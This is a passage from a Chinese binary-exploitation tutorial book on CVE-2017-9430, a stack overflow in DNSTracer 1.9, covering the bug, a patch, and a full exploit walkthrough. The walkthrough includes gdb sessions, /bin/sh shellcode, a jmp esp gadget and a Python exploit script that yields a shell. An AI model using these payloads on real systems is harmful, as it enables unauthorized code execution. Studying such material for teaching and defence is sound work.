- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
漏洞描述
DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。
漏洞复现
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Ubuntu 12.04 | 体系结构:32 位 |
调试器 | gdb-peda | 版本号:7.4 |
漏洞软件 | DNSTracer | 版本号:1.9 |
首先编译安装 DNSTracer:
$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install
传入一段超长的字符串作为参数即可触发栈溢出:
$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
漏洞分析
这个漏洞非常简单也非常典型,发生原因是在把参数 argv[0]
复制到数组 argv0
的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:
// dnstracer.c
int
main(int argc, char **argv)
{
[...]
char argv0[NS_MAXDNAME];
[...]
strcpy(argv0, argv[0]);
// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif
补丁
要修这个漏洞的话,在调用 strcpy()
前加上对参数长度的检查就可以了:
/*CVE-2017-9430 Fix*/
if(strlen(argv[0]) >= NS_MAXDNAME)
{
free(server_ip);
free(server_name);
fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
return 1;
}
// check for a trailing dot
strcpy(argv0, argv[0]);
Exploit
首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 __strcpy_chk()
替换 strcpy()
,修改编译选项如下:
$ cat Makefile | grep -w CC
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
CCLD = $(CC)
$ make && sudo make install
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
最后关掉 ASLR:
# echo 0 > /proc/sys/kernel/randomize_va_space
因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。
在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了:
gdb-peda$ pattern_create 1060
gdb-peda$ pattern_offset $ebp
1849771630 found at offset: 1049
所以返回地址位于栈偏移 1049+4=1053
的地方。
gdb-peda$ disassemble main
0x08048df8 <+808>: mov DWORD PTR [esp+0x4],edi
0x08048dfc <+812>: mov DWORD PTR [esp],ebx
0x08048dff <+815>: call 0x8048950 <strcpy@plt>
0x08048e04 <+820>: xor eax,eax
0x08048e06 <+822>: mov ecx,esi
...
0x08048f6e <+1182>: mov DWORD PTR [esp+0x4],esi
0x08048f72 <+1186>: call 0x804adb0 <create_session>
0x08048f77 <+1191>: mov DWORD PTR [esp],0xa
在下面几个地方下断点,并根据偏移调整我们的输入:
gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xbfffeb3f --> 0xffed9cb7
ECX: 0x0
EDX: 0xb7fc7180 --> 0x0
ESI: 0xffffffff
EDI: 0xbffff174 ('A' <repeats 200 times>...)
EBP: 0xbfffef58 --> 0x0
ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
EIP: 0x8048dff (<main+815>: call 0x8048950 <strcpy@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048df1 <main+801>: lea ebx,[esp+0x46f]
0x8048df8 <main+808>: mov DWORD PTR [esp+0x4],edi
0x8048dfc <main+812>: mov DWORD PTR [esp],ebx
=> 0x8048dff <main+815>: call 0x8048950 <strcpy@plt>
0x8048e04 <main+820>: xor eax,eax
0x8048e06 <main+822>: mov ecx,esi
0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
0x8048e0a <main+826>: not ecx
Guessed arguments:
arg[0]: 0xbfffeb3f --> 0xffed9cb7
arg[1]: 0xbffff174 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
0004| 0xbfffe6d4 --> 0xbffff174 ('A' <repeats 200 times>...)
0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
0012| 0xbfffe6dc --> 0x0
0016| 0xbfffe6e0 --> 0x0
0020| 0xbfffe6e4 --> 0x0
0024| 0xbfffe6e8 --> 0x0
0028| 0xbfffe6ec --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1622
1622 strcpy(argv0, argv[0]);
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
0xbfffeb5f: 0xe24e08b7 0x000001b7
所以栈位于 0xbfffeb3f
,执行这一行代码即可将 0xbffff174
处的 "A" 字符串复制到 argv0
数组中:
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
ECX: 0xbffff1d0 ("BBBB")
EDX: 0xbfffeadc ("BBBB")
ESI: 0x0
EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
EBP: 0xbfffead8 ("AAAABBBB")
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
EIP: 0x8048dba (<main+794>: mov ecx,DWORD PTR [ebp-0x82c])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048db3 <main+787>: push edi
0x8048db4 <main+788>: push ebx
0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
=> 0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
0x8048dc0 <main+800>: xor eax,eax
0x8048dc2 <main+802>: add esp,0x10
0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
0x8048dc7 <main+807>: not ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
0008| 0xbfffe298 --> 0xffffffff
0012| 0xbfffe29c --> 0xffffffff
0016| 0xbfffe2a0 --> 0x0
0020| 0xbfffe2a4 --> 0x0
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
0028| 0xbfffe2ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
gdb-peda$ x/10wx argv0
0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb5f: 0x41414141 0x41414141
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef5c: 0x42424242
同时字符串 "BBBB" 覆盖了返回地址。所以我们用栈地址 0xbfffeb3f
替换掉 "BBBB":
gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
0xbfffef5c: 0xbfffeb3f <-- return address
然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充:
gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/7wx argv0+1053-23
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode
0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb
根据计算,shellcode 位于 0xbfffef45
。
然而当我们执行这个程序的时候,发生了错误:
gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbfffef54 ("/bin//sh")
ECX: 0xffffffff
EDX: 0xb7fc88b8 --> 0x0
ESI: 0xe3896e69
EDI: 0xe1895350
EBP: 0x80cd0bb0
ESP: 0xbfffef54 ("/bin//sh")
EIP: 0xbfffef55 ("bin//sh")
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xbfffef4d: push 0x6e69622f
0xbfffef52: mov ebx,esp
0xbfffef54: das
=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
0xbfffef58: das
0xbfffef59: das
0xbfffef5a: jae 0xbfffefc4
0xbfffef5c: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfffef54 ("/bin//sh")
0004| 0xbfffef58 ("//sh")
0008| 0xbfffef5c --> 0x0
0012| 0xbfffef60 --> 0x0
0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
0028| 0xbfffef70 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffef55 in ?? ()
错误发生在 0xbfffef55
,而 shellcode 位于 0xbfffef45
,两者相差 16 字节:
gdb-peda$ x/8wx 0xbfffef45
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000
所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。
gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`
成功获得 shell。
gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
process 7161 is executing new program: /bin/dash
$ id
[New process 7165]
process 7165 is executing new program: /usr/bin/id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ [Inferior 2 (process 7165) exited normally]
Warning: not running or target is remote
那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 jmp esp
覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令:
$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f: ff e4 jmp esp
exp 如下:
import os
from subprocess import call
def exp():
filling = "A"*1053
jmp_esp = "\x5f\xcc\x04\x08"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = filling + jmp_esp + shellcode
call(["dnstracer", payload])
if __name__ == '__main__':
try:
exp()
except Exception as e:
print "Something went wrong"
Bingo!!!
$ python exp.py
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_�1�Ph//shh/bin��PS���
[a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论